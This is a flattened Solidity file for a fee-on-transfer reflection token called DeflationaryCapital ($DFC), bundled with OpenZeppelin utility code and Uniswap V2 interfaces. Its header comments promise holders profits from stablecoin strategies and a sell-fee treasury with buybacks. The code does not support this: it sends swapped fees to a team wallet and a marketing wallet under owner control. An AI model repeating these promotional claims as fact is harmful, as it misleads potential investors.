/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/deflationarycapital.sol
// Deflationary Capital: $DFC
// Deflationary DeFi-as-a-Service (DaaS) Token, with 60% supply burned to 0x0dEaD
// You buy on Ethereum, we execute algorithmic stablecoin strategies on various chains and return the profits to $DFC holders.
//Initial Supply: 1,000,000,000,000 $DFC
//60% of $DFC burned to 0x0dEaD
//10% of each buy goes to existing holders.
//10% of each sell goes into various-chain algorithmic stablecoin investing to add to the treasury and buy back $DFC tokens.
// Telegram: https://t.me/deflationarycapital
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity ^0.8.0;
//SPDX-License-Identifier: MIT
contract DeflationaryCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'DeflationaryCapital';
string private _symbol = 'DFC';
uint8 private _decimals = 9;
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
address payable public _DFCWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 private _maxTxAmount = 100000000000000e9;
// We will set a minimum amount of tokens to be swaped => 5M
uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable DFCWalletAddress, address payable marketingWalletAddress) {
_DFCWalletAddress = DFCWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular team event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and team fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
_DFCWalletAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
